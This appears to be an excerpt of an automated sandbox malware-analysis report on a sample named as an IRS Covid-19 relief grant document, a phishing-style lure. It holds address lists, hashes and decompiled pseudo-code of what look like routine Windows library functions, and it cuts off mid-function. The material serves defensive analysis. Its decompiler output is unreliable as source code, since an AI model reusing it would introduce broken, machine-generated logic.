0x1e2872fc
0x1e287301
0x1e287304
0x1e287314
0x1e287314
0x1e287319
0x00000000
0x00000000
0x1e287325
0x1e28732d
0x1e287330
0x1e287356
0x1e287357
0x00000000
0x00000000
0x00000000
0x00000000
0x1e287332
0x1e287332
0x1e287337
0x00000000
0x00000000
0x1e287343
0x1e28734b
0x1e28734e
0x1e287361
0x00000000
0x00000000
0x1e287367
0x1e287367
0x1e287368
0x00000000
0x1e287368
0x1e287350
0x1e287351
0x1e287351
0x00000000
0x1e287332
0x1e2cf8f9
0x1e2cf8f9
0x1e2cf8fa
0x00000000
0x1e2cf8fa
0x1e287306
0x1e28730e
0x1e2cf8ee
0x00000000
0x00000000
0x1e2cf8f4
0x00000000
0x1e28730e
0x1e287214
0x1e287214
0x1e287217
0x00000000
0x1e287217
0x1e28702c
0x00000000
0x00000000
0x00000000
0x00000000
0x1e28702c
0x1e28708d
0x1e287094
0x1e287098
0x1e2870a0
0x1e28738c
0x1e28738d
0x1e28738d
0x1e2870a0
0x1e287098
0x1e2870a6
0x1e2870ab
0x1e2870b3
0x1e2870b5
0x1e2870cd
0x1e2870cd
0x1e2870d0
0x1e2870d8
0x1e28711a
0x1e28711c
0x1e28711c
0x1e287121
0x00000000
0x00000000
0x1e287129
0x00000000
0x00000000
0x1e28712b
0x1e28712b
0x1e287130
0x1e28737e
0x1e287381
0x00000000
0x1e287381
0x1e287138
0x00000000
0x00000000
0x1e287144
0x1e287144
0x1e2870da
0x1e2870da
0x1e2870dd
0x00000000
0x1e2870dd
0x1e2870b7
0x1e2870b8
0x1e2870bb
0x1e2870c2
0x00000000
0x00000000
0x1e2870c7
0x00000000
0x00000000
0x1e2870c9
0x1e2870ca
0x00000000
0x1e2870ad
0x1e2870ad
0x1e2870af
0x00000000
0x1e2870af
0x1e287148
0x1e28714d
0x1e2cf8e2
0x1e2cf8e2
0x1e287153
0x1e287154
0x1e287157
0x00000000
0x1e287157
0x1e2cf87c
0x1e2cf87f
0x1e2cf882
0x00000000
0x1e2cf882
0x1e2cf85e
0x00000000
0x00000000
0x1e2cf864
0x1e2cf869
0x1e2cf86c
0x00000000
0x1e2cf86c
0x1e287168
0x1e287170
0x1e2cf8d6
0x1e2cf8d6
0x1e287176
0x1e287179
0x00000000
0x1e287179
0x1e286fe9
0x1e286fe9
0x00000000
0x1e286fe9
0x1e286fbf
0x1e286f8c
0x1e286f93
0x1e2872d6
0x00000000
0x00000000
0x00000000
0x1e2872d6
0x1e286f99
0x1e286f99
0x1e286f99
0x00000000
0x1e286f68
0x1e286f50
0x1e286f56
0x1e28722c
0x1e2cf629
0x1e2cf629
0x00000000
0x1e2cf629
0x1e287232
0x1e287239
0x1e2cf623
0x00000000
0x00000000
0x00000000
0x1e2cf623
0x1e28723f
0x1e287242
0x1e2cf64e
0x1e2cf64e
0x00000000
0x1e2cf64e
0x1e287248
0x1e28724f
0x1e287373
0x00000000
0x00000000
0x00000000
0x1e287379
0x1e287255
0x1e287258
0x1e2cf63c
0x1e2cf648
0x00000000
0x1e2cf648
0x1e28725e
0x1e287265
0x1e2cf636
0x00000000
0x00000000
0x00000000
0x1e2cf636
0x1e28726b
0x1e28726b
0x00000000
0x00000000
0x00000000
0x00000000
0x1e286f56
0x1e286f3d
0x1e286ed2
0x00000000
0x1e286ec4

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 295f691181c9aaf759f1d24ff050f0dcc91256352f45ec1a6400a3204003f358
Instruction ID: d8e2b4937c9f4634d5f8a6d01d6eeb60c4216d0fbe34fc613128c02b30d40815
Opcode Fuzzy Hash: 295f691181c9aaf759f1d24ff050f0dcc91256352f45ec1a6400a3204003f358
Instruction Fuzzy Hash: 4E028171D242568BDB14CF99C4B0EADB7F2BF44700F21432AE416EB6D5E7B098A1CB51

Uniqueness

Uniqueness Score: -1.00%

Function 1E284120, Relevance: .4, Instructions: 444
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E1E284120(signed char __ecx, signed short* __edx, signed short* _a4, signed int _a8, signed short* _a12, signed short* _a16, signed short _a20) {
				signed int _v8;
				void* _v20;
				signed int _v24;
				char _v532;
				char _v540;
				signed short _v544;
				signed int _v548;
				signed short* _v552;
				signed short _v556;
				signed short* _v560;
				signed short* _v564;
				signed short* _v568;
				void* _v570;
				signed short* _v572;
				signed short _v576;
				signed int _v580;
				char _v581;
				void* _v584;
				unsigned int _v588;
				signed short* _v592;
				void* _v597;
				void* _v600;
				void* _v604;
				void* _v609;
				void* _v616;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t161;
				signed int _t162;
				unsigned int _t163;
				void* _t169;
				signed short _t173;
				signed short _t177;
				signed short _t181;
				unsigned int _t182;
				signed int _t185;
				signed int _t213;
				signed int _t225;
				short _t233;
				signed char _t234;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t250;
				void* _t251;
				signed short* _t254;
				void* _t255;
				signed int _t256;
				void* _t257;
				signed short* _t260;
				signed short _t265;
				signed short* _t269;
				signed short _t271;
				signed short** _t272;
				signed short* _t275;
				signed short _t282;
				signed short _t283;
				signed short _t290;
				signed short _t299;
				signed short _t307;
				signed int _t308;
				signed short _t311;
				signed short* _t315;
				signed short _t316;
				void* _t317;
				void* _t319;
				signed short* _t321;
				void* _t322;
				void* _t323;
				unsigned int _t324;
				signed int _t325;
				void* _t326;
				signed int _t327;
				signed int _t329;

				_t329 = (_t327 & 0xfffffff8) - 0x24c;
				_v8 =  *0x1e35d360 ^ _t329;
				_t157 = _a8;
				_t321 = _a4;
				_t315 = __edx;
				_v548 = __ecx;
				_t305 = _a20;
				_v560 = _a12;
				_t260 = _a16;
				_v564 = __edx;
				_v580 = _a8;
				_v572 = _t260;
				_v544 = _a20;
				if( *__edx <= 8) {
					L3:
					if(_t260 != 0) {
						 *_t260 = 0;
					}
					_t254 =  &_v532;
					_v588 = 0x208;
					if((_v548 & 0x00000001) != 0) {
						_v556 =  *_t315;
						_v552 = _t315[2];
						_t161 = E1E29F232( &_v556);
						_t316 = _v556;
						_v540 = _t161;
						goto L17;
					} else {
						_t306 = 0x208;
						_t298 = _t315;
						_t316 = E1E286E30(_t315, 0x208, _t254, _t260,  &_v581,  &_v540);
						if(_t316 == 0) {
							L68:
							_t322 = 0xc0000033;
							goto L39;
						} else {
							while(_v581 == 0) {
								_t233 = _v588;
								if(_t316 > _t233) {
									_t234 = _v548;
									if((_t234 & 0x00000004) != 0 || (_t234 & 0x00000008) == 0 &&  *((char*)( *[fs:0x30] + 3)) < 0) {
										_t254 = L1E284620(_t298,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t316);
										if(_t254 == 0) {
											_t169 = 0xc0000017;
										} else {
											_t298 = _v564;
											_v588 = _t316;
											_t306 = _t316;
											_t316 = E1E286E30(_v564, _t316, _t254, _v572,  &_v581,  &_v540);
											if(_t316 != 0) {
												continue;
											} else {
												goto L68;
											}
										}
									} else {
										goto L90;
									}
								} else {
									_v556 = _t316;
									 *((short*)(_t329 + 0x32)) = _t233;
									_v552 = _t254;
									if(_t316 < 2) {
										L11:
										if(_t316 < 4 ||  *_t254 == 0 || _t254[1] != 0x3a) {
											_t161 = 5;
										} else {
											if(_t316 < 6) {
												L87:
												_t161 = 3;
											} else {
												_t242 = _t254[2] & 0x0000ffff;
												if(_t242 != 0x5c) {
													if(_t242 == 0x2f) {
														goto L16;
													} else {
														goto L87;
													}
													goto L101;
												} else {
													L16:
													_t161 = 2;
												}
											}
										}
									} else {
										_t243 =  *_t254 & 0x0000ffff;
										if(_t243 == 0x5c || _t243 == 0x2f) {
											if(_t316 < 4) {
												L81:
												_t161 = 4;
												goto L17;
											} else {
												_t244 = _t254[1] & 0x0000ffff;
												if(_t244 != 0x5c) {
													if(_t244 == 0x2f) {
														goto L60;
													} else {
														goto L81;
													}
												} else {
													L60:
													if(_t316 < 6) {
														L83:
														_t161 = 1;
														goto L17;
													} else {
														_t245 = _t254[2] & 0x0000ffff;
														if(_t245 != 0x2e) {
															if(_t245 == 0x3f) {
																goto L62;
															} else {
																goto L83;
															}
														} else {
															L62:
															if(_t316 < 8) {
																L85:
																_t161 = ((0 | _t316 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
																goto L17;
															} else {
																_t250 = _t254[3] & 0x0000ffff;
																if(_t250 != 0x5c) {
																	if(_t250 == 0x2f) {
																		goto L64;
																	} else {
																		goto L85;
																	}
																} else {
																	L64:
																	_t161 = 6;
																	goto L17;
																}
															}
														}
													}
												}
											}
											goto L101;
										} else {
											goto L11;
										}
									}
									L17:
									if(_t161 != 2) {
										_t162 = _t161 - 1;
										if(_t162 > 5) {
											goto L18;
										} else {
											switch( *((intOrPtr*)(_t162 * 4 +  &M1E2845F8))) {
												case 0:
													_v568 = 0x1e241078;
													__eax = 2;
													goto L20;
												case 1:
													goto L18;
												case 2:
													_t163 = 4;
													goto L19;
											}
										}
										goto L41;
									} else {
										L18:
										_t163 = 0;
										L19:
										_v568 = 0x1e2411c4;
									}
									L20:
									_v588 = _t163;
									_v564 = _t163 + _t163;
									_t306 =  *_v568 & 0x0000ffff;
									_t265 = _t306 - _v564 + 2 + (_t316 & 0x0000ffff);
									_v576 = _t265;
									if(_t265 > 0xfffe) {
										L90:
										_t322 = 0xc0000106;
									} else {
										if(_t321 != 0) {
											if(_t265 > (_t321[1] & 0x0000ffff)) {
												if(_v580 != 0) {
													goto L23;
												} else {
													_t322 = 0xc0000106;
													goto L39;
												}
											} else {
												_t177 = _t306;
												goto L25;
											}
											goto L101;
										} else {
											if(_v580 == _t321) {
												_t322 = 0xc000000d;
											} else {
												L23:
												_t173 = L1E284620(_t265,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t265);
												_t269 = _v592;
												_t269[2] = _t173;
												if(_t173 == 0) {
													_t322 = 0xc0000017;
												} else {
													_t316 = _v556;
													 *_t269 = 0;
													_t321 = _t269;
													_t269[1] = _v576;
													_t177 =  *_v568 & 0x0000ffff;
													L25:
													_v580 = _t177;
													if(_t177 == 0) {
														L29:
														_t307 =  *_t321 & 0x0000ffff;
													} else {
														_t290 =  *_t321 & 0x0000ffff;
														_v576 = _t290;
														_t310 = _t177 & 0x0000ffff;
														if((_t290 & 0x0000ffff) + (_t177 & 0x0000ffff) > (_t321[1] & 0x0000ffff)) {
															_t307 =  *_t321 & 0xffff;
														} else {
															_v576 = _t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2;
															E1E2AF720(_t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2, _v568[2], _t310);
															_t329 = _t329 + 0xc;
															_t311 = _v580;
															_t225 =  *_t321 + _t311 & 0x0000ffff;
															 *_t321 = _t225;
															if(_t225 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v576 + ((_t311 & 0x0000ffff) >> 1) * 2)) = 0;
															}
															goto L29;
														}
													}
													_t271 = _v556 - _v588 + _v588;
													_v580 = _t307;
													_v576 = _t271;
													if(_t271 != 0) {
														_t308 = _t271 & 0x0000ffff;
														_v588 = _t308;
														if(_t308 + (_t307 & 0x0000ffff) <= (_t321[1] & 0x0000ffff)) {
															_v580 = _t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2;
															E1E2AF720(_t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2, _v552 + _v564, _t308);
															_t329 = _t329 + 0xc;
															_t213 =  *_t321 + _v576 & 0x0000ffff;
															 *_t321 = _t213;
															if(_t213 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v580 + (_v588 >> 1) * 2)) = 0;
															}
														}
													}
													_t272 = _v560;
													if(_t272 != 0) {
														 *_t272 = _t321;
													}
													_t306 = 0;
													 *((short*)(_t321[2] + (( *_t321 & 0x0000ffff) >> 1) * 2)) = 0;
													_t275 = _v572;
													if(_t275 != 0) {
														_t306 =  *_t275;
														if(_t306 != 0) {
															 *_t275 = ( *_v568 & 0x0000ffff) - _v564 - _t254 + _t306 + _t321[2];
														}
													}
													_t181 = _v544;
													if(_t181 != 0) {
														 *_t181 = 0;
														 *((intOrPtr*)(_t181 + 4)) = 0;
														 *((intOrPtr*)(_t181 + 8)) = 0;
														 *((intOrPtr*)(_t181 + 0xc)) = 0;
														if(_v540 == 5) {
															_t182 = E1E2652A5(1);
															_v588 = _t182;
															if(_t182 == 0) {
																E1E27EB70(1, 0x1e3579a0);
																goto L38;
															} else {
																_v560 = _t182 + 0xc;
																_t185 = E1E27AA20( &_v556, _t182 + 0xc,  &_v556, 1);
																if(_t185 == 0) {
																	_t324 = _v588;
																	goto L97;
																} else {
																	_t306 = _v544;
																	_t282 = ( *_v560 & 0x0000ffff) - _v564 + ( *_v568 & 0x0000ffff) + _t321[2];
																	 *(_t306 + 4) = _t282;
																	_v576 = _t282;
																	_t325 = _t316 -  *_v560 & 0x0000ffff;
																	 *_t306 = _t325;
																	if( *_t282 == 0x5c) {
																		_t149 = _t325 - 2; // -2
																		_t283 = _t149;
																		 *_t306 = _t283;
																		 *(_t306 + 4) = _v576 + 2;
																		_t185 = _t283 & 0x0000ffff;
																	}
																	_t324 = _v588;
																	 *(_t306 + 2) = _t185;
																	if((_v548 & 0x00000002) == 0) {
																		L97:
																		asm("lock xadd [esi], eax");
																		if((_t185 | 0xffffffff) == 0) {
																			_push( *((intOrPtr*)(_t324 + 4)));
																			E1E2A95D0();
																			L1E2877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t324);
																		}
																	} else {
																		 *(_t306 + 0xc) = _t324;
																		 *((intOrPtr*)(_t306 + 8)) =  *((intOrPtr*)(_t324 + 4));
																	}
																	goto L38;
																}
															}
															goto L41;
														}
													}
													L38:
													_t322 = 0;
												}
											}
										}
									}
									L39:
									if(_t254 !=  &_v532) {
										L1E2877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t254);
									}
									_t169 = _t322;
								}
								goto L41;
							}
							goto L68;
						}
					}
					L41:
					_pop(_t317);
					_pop(_t323);
					_pop(_t255);
					return E1E2AB640(_t169, _t255, _v8 ^ _t329, _t306, _t317, _t323);
				} else {
					_t299 = __edx[2];
					if( *_t299 == 0x5c) {
						_t256 =  *(_t299 + 2) & 0x0000ffff;
						if(_t256 != 0x5c) {
							if(_t256 != 0x3f) {
								goto L2;
							} else {
								goto L50;
							}
						} else {
							L50:
							if( *((short*)(_t299 + 4)) != 0x3f ||  *((short*)(_t299 + 6)) != 0x5c) {
								goto L2;
							} else {
								_t251 = E1E2A3D43(_t315, _t321, _t157, _v560, _v572, _t305);
								_pop(_t319);
								_pop(_t326);
								_pop(_t257);
								return E1E2AB640(_t251, _t257, _v24 ^ _t329, _t321, _t319, _t326);
							}
						}
					} else {
						L2:
						_t260 = _v572;
						goto L3;
					}
				}
				L101:
			}

0x1e284128
0x1e284135
0x1e28413c
0x1e284141
0x1e284145
0x1e284147
0x1e28414e
0x1e284151
0x1e284159
0x1e28415c
0x1e284160
0x1e284164
0x1e284168
0x1e28416c
0x1e28417f
0x1e284181
0x1e28446a
0x1e28446a
0x1e28418c
0x1e284195
0x1e284199
0x1e284432
0x1e284439
0x1e28443d
0x1e284442
0x1e284447
0x00000000
0x1e28419f
0x1e2841a3
0x1e2841b1
0x1e2841b9
0x1e2841bd
0x1e2845db
0x1e2845db
0x00000000
0x1e2841c3
0x1e2841c3
0x1e2841ce
0x1e2841d4
0x1e2ce138
0x1e2ce13e
0x1e2ce169
0x1e2ce16d
0x1e2ce19e
0x1e2ce16f
0x1e2ce16f
0x1e2ce175
0x1e2ce179
0x1e2ce18f
0x1e2ce193
0x00000000
0x1e2ce199
0x00000000
0x1e2ce199
0x1e2ce193
0x00000000
0x00000000
0x00000000
0x1e2841da
0x1e2841da
0x1e2841df
0x1e2841e4
0x1e2841ec
0x1e284203
0x1e284207
0x1e2ce1fd
0x1e284222
0x1e284226
0x1e2ce1f3
0x1e2ce1f3
0x1e28422c
0x1e28422c
0x1e284233
0x1e2ce1ed
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1e284239
0x1e284239
0x1e284239
0x1e284239
0x1e284233
0x1e284226
0x1e2841ee
0x1e2841ee
0x1e2841f4
0x1e284575
0x1e2ce1b1
0x1e2ce1b1
0x00000000
0x1e28457b
0x1e28457b
0x1e284582
0x1e2ce1ab
0x00000000
0x00000000
0x00000000
0x00000000
0x1e284588
0x1e284588
0x1e28458c
0x1e2ce1c4
0x1e2ce1c4
0x00000000
0x1e284592
0x1e284592
0x1e284599
0x1e2ce1be
0x00000000
0x00000000
0x00000000
0x00000000
0x1e28459f
0x1e28459f
0x1e2845a3
0x1e2ce1d7
0x1e2ce1e4
0x00000000
0x1e2845a9
0x1e2845a9
0x1e2845b0
0x1e2ce1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x1e2845b6
0x1e2845b6
0x1e2845b6
0x00000000
0x1e2845b6
0x1e2845b0
0x1e2845a3
0x1e284599
0x1e28458c
0x1e284582
0x00000000
0x00000000
0x00000000
0x00000000
0x1e2841f4
0x1e28423e
0x1e284241
0x1e2845c0
0x1e2845c4
0x00000000
0x1e2845ca
0x1e2845ca
0x00000000
0x1e2ce207
0x1e2ce20f
0x00000000
0x00000000
0x00000000
0x00000000
0x1e2845d1
0x00000000
0x00000000
0x1e2845ca
0x00000000
0x1e284247
0x1e284247
0x1e284247
0x1e284249
0x1e284249
0x1e284249
0x1e284251
0x1e284251
0x1e284257
0x1e28425f
0x1e28426e
0x1e284270
0x1e28427a
0x1e2ce219
0x1e2ce219
0x1e284280
0x1e284282
0x1e284456
0x1e2845ea
0x00000000
0x1e2845f0
0x1e2ce223
0x00000000
0x1e2ce223
0x1e28445c
0x1e28445c
0x00000000
0x1e28445c
0x00000000
0x1e284288
0x1e28428c
0x1e2ce298
0x1e284292
0x1e284292
0x1e28429e
0x1e2842a3
0x1e2842a7
0x1e2842ac
0x1e2ce22d
0x1e2842b2
0x1e2842b2
0x1e2842b9
0x1e2842bc
0x1e2842c2
0x1e2842ca
0x1e2842cd
0x1e2842cd
0x1e2842d4
0x1e28433f
0x1e28433f
0x1e2842d6
0x1e2842d6
0x1e2842d9
0x1e2842dd
0x1e2842eb
0x1e2ce23a
0x1e2842f1
0x1e284305
0x1e28430d
0x1e284315
0x1e284318
0x1e28431f
0x1e284322
0x1e28432e
0x1e28433b
0x1e28433b
0x00000000
0x1e28432e
0x1e2842eb
0x1e28434c
0x1e28434e
0x1e284352
0x1e284359
0x1e28435e
0x1e284361
0x1e28436e
0x1e28438a
0x1e28438e
0x1e284396
0x1e28439e
0x1e2843a1
0x1e2843ad
0x1e2843bb
0x1e2843bb
0x1e2843ad
0x1e28436e
0x1e2843bf
0x1e2843c5
0x1e284463
0x1e284463
0x1e2843ce
0x1e2843d5
0x1e2843d9
0x1e2843df
0x1e284475
0x1e284479
0x1e284491
0x1e284491
0x1e284479
0x1e2843e5
0x1e2843eb
0x1e2843f4
0x1e2843f6
0x1e2843f9
0x1e2843fc
0x1e2843ff
0x1e2844e8
0x1e2844ed
0x1e2844f3
0x1e2ce247
0x00000000
0x1e2844f9
0x1e284504
0x1e284508
0x1e28450f
0x1e2ce269
0x00000000
0x1e284515
0x1e284519
0x1e284531
0x1e284534
0x1e284537
0x1e28453e
0x1e284541
0x1e28454a
0x1e2ce255
0x1e2ce255
0x1e2ce25b
0x1e2ce25e
0x1e2ce261
0x1e2ce261
0x1e284555
0x1e284559
0x1e28455d
0x1e2ce26d
0x1e2ce270
0x1e2ce274
0x1e2ce27a
0x1e2ce27d
0x1e2ce28e
0x1e2ce28e
0x1e284563
0x1e284563
0x1e284569
0x1e284569
0x00000000
0x1e28455d
0x1e28450f
0x00000000
0x1e2844f3
0x1e2843ff
0x1e284405
0x1e284405
0x1e284405
0x1e2842ac
0x1e28428c
0x1e284282
0x1e284407
0x1e28440d
0x1e2ce2af
0x1e2ce2af
0x1e284413
0x1e284413
0x00000000
0x1e2841d4
0x00000000
0x1e2841c3
0x1e2841bd
0x1e284415
0x1e284415
0x1e284416
0x1e284417
0x1e284429
0x1e28416e
0x1e28416e
0x1e284175
0x1e284498
0x1e28449f
0x1e2ce12d
0x00000000
0x1e2ce133
0x00000000
0x1e2ce133
0x1e2844a5
0x1e2844a5
0x1e2844aa
0x00000000
0x1e2844bb
0x1e2844ca
0x1e2844d6
0x1e2844d7
0x1e2844d8
0x1e2844e3
0x1e2844e3
0x1e2844aa
0x1e28417b
0x1e28417b
0x1e28417b
0x00000000
0x1e28417b
0x1e284175
0x00000000

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffd65e72d0d2a3dd7ab3c2b203f4dba4437c0b66bc04f0cef111ef938c77e0ea
Instruction ID: dbebd5193f12b44075a65f407ce20b8ad125edb1f12ad1dd07c4ece9aa25c9e4
Opcode Fuzzy Hash: ffd65e72d0d2a3dd7ab3c2b203f4dba4437c0b66bc04f0cef111ef938c77e0ea
Instruction Fuzzy Hash: 36F17E746183528BC714CF15C4A0A2AB7E2FF98714F254B2EF88ACB294E734DD91CB52

Uniqueness

Uniqueness Score: -1.00%

Function 1E2920A0, Relevance: .4, Instructions: 420
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E1E2920A0(void* __ebx, unsigned int __ecx, signed int __edx, void* __eflags, intOrPtr* _a4, signed int _a8, intOrPtr* _a12, void* _a16, intOrPtr* _a20) {
				signed int _v16;
				signed int _v20;
				signed char _v24;
				intOrPtr _v28;
				signed int _v32;
				void* _v36;
				char _v48;
				signed int _v52;
				signed int _v56;
				unsigned int _v60;
				char _v64;
				unsigned int _v68;
				signed int _v72;
				char _v73;
				signed int _v74;
				char _v75;
				signed int _v76;
				void* _v81;
				void* _v82;
				void* _v89;
				void* _v92;
				void* _v97;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t128;
				void* _t129;
				signed int _t130;
				void* _t132;
				signed char _t133;
				intOrPtr _t135;
				signed int _t137;
				signed int _t140;
				signed int* _t144;
				signed int* _t145;
				intOrPtr _t146;
				signed int _t147;
				signed char* _t148;
				signed int _t149;
				signed int _t153;
				signed int _t169;
				signed int _t174;
				signed int _t180;
				void* _t197;
				void* _t198;
				signed int _t201;
				intOrPtr* _t202;
				intOrPtr* _t205;
				signed int _t210;
				signed int _t215;
				signed int _t218;
				signed char _t221;
				signed int _t226;
				char _t227;
				signed int _t228;
				void* _t229;
				unsigned int _t231;
				void* _t235;
				signed int _t240;
				signed int _t241;
				void* _t242;
				signed int _t246;
				signed int _t248;
				signed int _t252;
				signed int _t253;
				void* _t254;
				intOrPtr* _t256;
				intOrPtr _t257;
				unsigned int _t262;
				signed int _t265;
				void* _t267;
				signed int _t275;

				_t198 = __ebx;
				_t267 = (_t265 & 0xfffffff0) - 0x48;
				_v68 = __ecx;
				_v73 = 0;
				_t201 = __edx & 0x00002000;
				_t128 = __edx & 0xffffdfff;
				_v74 = __edx & 0xffffff00 | __eflags != 0x00000000;
				_v72 = _t128;
				if((_t128 & 0x00000008) != 0) {
					__eflags = _t128 - 8;
					if(_t128 != 8) {
						L69:
						_t129 = 0xc000000d;
						goto L23;
					} else {
						_t130 = 0;
						_v72 = 0;
						_v75 = 1;
						L2:
						_v74 = 1;
						_t226 =  *0x1e358714; // 0x0
						if(_t226 != 0) {
							__eflags = _t201;
							if(_t201 != 0) {
								L62:
								_v74 = 1;
								L63:
								_t130 = _t226 & 0xffffdfff;
								_v72 = _t130;
								goto L3;
							}
							_v74 = _t201;
							__eflags = _t226 & 0x00002000;
							if((_t226 & 0x00002000) == 0) {
								goto L63;
							}
							goto L62;
						}
						L3:
						_t227 = _v75;
						L4:
						_t240 = 0;
						_v56 = 0;
						_t252 = _t130 & 0x00000100;
						if(_t252 != 0 || _t227 != 0) {
							_t240 = _v68;
							_t132 = E1E292EB0(_t240);
							__eflags = _t132 - 2;
							if(_t132 != 2) {
								__eflags = _t132 - 1;
								if(_t132 == 1) {
									goto L25;
								}
								__eflags = _t132 - 6;
								if(_t132 == 6) {
									__eflags =  *((short*)(_t240 + 4)) - 0x3f;
									if( *((short*)(_t240 + 4)) != 0x3f) {
										goto L40;
									}
									_t197 = E1E292EB0(_t240 + 8);
									__eflags = _t197 - 2;
									if(_t197 == 2) {
										goto L25;
									}
								}
								L40:
								_t133 = 1;
								L26:
								_t228 = _v75;
								_v56 = _t240;
								__eflags = _t133;
								if(_t133 != 0) {
									__eflags = _t228;
									if(_t228 == 0) {
										L43:
										__eflags = _v72;
										if(_v72 == 0) {
											goto L8;
										}
										goto L69;
									}
									_t133 = E1E2658EC(_t240);
									_t221 =  *0x1e355cac; // 0x16
									__eflags = _t221 & 0x00000040;
									if((_t221 & 0x00000040) != 0) {
										_t228 = 0;
										__eflags = _t252;
										if(_t252 != 0) {
											goto L43;
										}
										_t133 = _v72;
										goto L7;
									}
									goto L43;
								} else {
									_t133 = _v72;
									goto L6;
								}
							}
							L25:
							_t133 = _v73;
							goto L26;
						} else {
							L6:
							_t221 =  *0x1e355cac; // 0x16
							L7:
							if(_t133 != 0) {
								__eflags = _t133 & 0x00001000;
								if((_t133 & 0x00001000) != 0) {
									_t133 = _t133 | 0x00000a00;
									__eflags = _t221 & 0x00000004;
									if((_t221 & 0x00000004) != 0) {
										_t133 = _t133 | 0x00000400;
									}
								}
								__eflags = _t228;
								if(_t228 != 0) {
									_t133 = _t133 | 0x00000100;
								}
								_t229 = E1E2A4A2C(0x1e356e40, 0x1e2a4b30, _t133, _t240);
								__eflags = _t229;
								if(_t229 == 0) {
									_t202 = _a20;
									goto L100;
								} else {
									_t135 =  *((intOrPtr*)(_t229 + 0x38));
									L15:
									_t202 = _a20;
									 *_t202 = _t135;
									if(_t229 == 0) {
										L100:
										 *_a4 = 0;
										_t137 = _a8;
										__eflags = _t137;
										if(_t137 != 0) {
											 *_t137 = 0;
										}
										 *_t202 = 0;
										_t129 = 0xc0000017;
										goto L23;
									} else {
										_t242 = _a16;
										if(_t242 != 0) {
											_t254 = _t229;
											memcpy(_t242, _t254, 0xd << 2);
											_t267 = _t267 + 0xc;
											_t242 = _t254 + 0x1a;
										}
										_t205 = _a4;
										_t25 = _t229 + 0x48; // 0x48
										 *_t205 = _t25;
										_t140 = _a8;
										if(_t140 != 0) {
											__eflags =  *((char*)(_t267 + 0xa));
											if( *((char*)(_t267 + 0xa)) != 0) {
												 *_t140 =  *((intOrPtr*)(_t229 + 0x44));
											} else {
												 *_t140 = 0;
											}
										}
										_t256 = _a12;
										if(_t256 != 0) {
											 *_t256 =  *((intOrPtr*)(_t229 + 0x3c));
										}
										_t257 =  *_t205;
										_v48 = 0;
										 *((intOrPtr*)(_t267 + 0x2c)) = 0;
										_v56 = 0;
										_v52 = 0;
										_t144 =  *( *[fs:0x30] + 0x50);
										if(_t144 != 0) {
											__eflags =  *_t144;
											if( *_t144 == 0) {
												goto L20;
											}
											_t145 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
											goto L21;
										} else {
											L20:
											_t145 = 0x7ffe0384;
											L21:
											if( *_t145 != 0) {
												_t146 =  *[fs:0x30];
												__eflags =  *(_t146 + 0x240) & 0x00000004;
												if(( *(_t146 + 0x240) & 0x00000004) != 0) {
													_t147 = E1E287D50();
													__eflags = _t147;
													if(_t147 == 0) {
														_t148 = 0x7ffe0385;
													} else {
														_t148 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
													}
													__eflags =  *_t148 & 0x00000020;
													if(( *_t148 & 0x00000020) != 0) {
														_t149 = _v72;
														__eflags = _t149;
														if(__eflags == 0) {
															_t149 = 0x1e245c80;
														}
														_push(_t149);
														_push( &_v48);
														 *((char*)(_t267 + 0xb)) = E1E29F6E0(_t198, _t242, _t257, __eflags);
														_push(_t257);
														_push( &_v64);
														_t153 = E1E29F6E0(_t198, _t242, _t257, __eflags);
														__eflags =  *((char*)(_t267 + 0xb));
														if( *((char*)(_t267 + 0xb)) != 0) {
															__eflags = _t153;
															if(_t153 != 0) {
																__eflags = 0;
																E1E2E7016(0x14c1, 0, 0, 0,  &_v72,  &_v64);
																L1E282400(_t267 + 0x20);
															}
															L1E282400( &_v64);
														}
													}
												}
											}
											_t129 = 0;
											L23:
											return _t129;
										}
									}
								}
							}
							L8:
							_t275 = _t240;
							if(_t275 != 0) {
								_v73 = 0;
								_t253 = 0;
								__eflags = 0;
								L29:
								_push(0);
								_t241 = E1E292397(_t240);
								__eflags = _t241;
								if(_t241 == 0) {
									_t229 = 0;
									L14:
									_t135 = 0;
									goto L15;
								}
								__eflags =  *((char*)(_t267 + 0xb));
								 *(_t241 + 0x34) = 1;
								if( *((char*)(_t267 + 0xb)) != 0) {
									E1E282280(_t134, 0x1e358608);
									__eflags =  *0x1e356e48 - _t253; // 0x830ae0
									if(__eflags != 0) {
										L48:
										_t253 = 0;
										__eflags = 0;
										L49:
										E1E27FFB0(_t198, _t241, 0x1e358608);
										__eflags = _t253;
										if(_t253 != 0) {
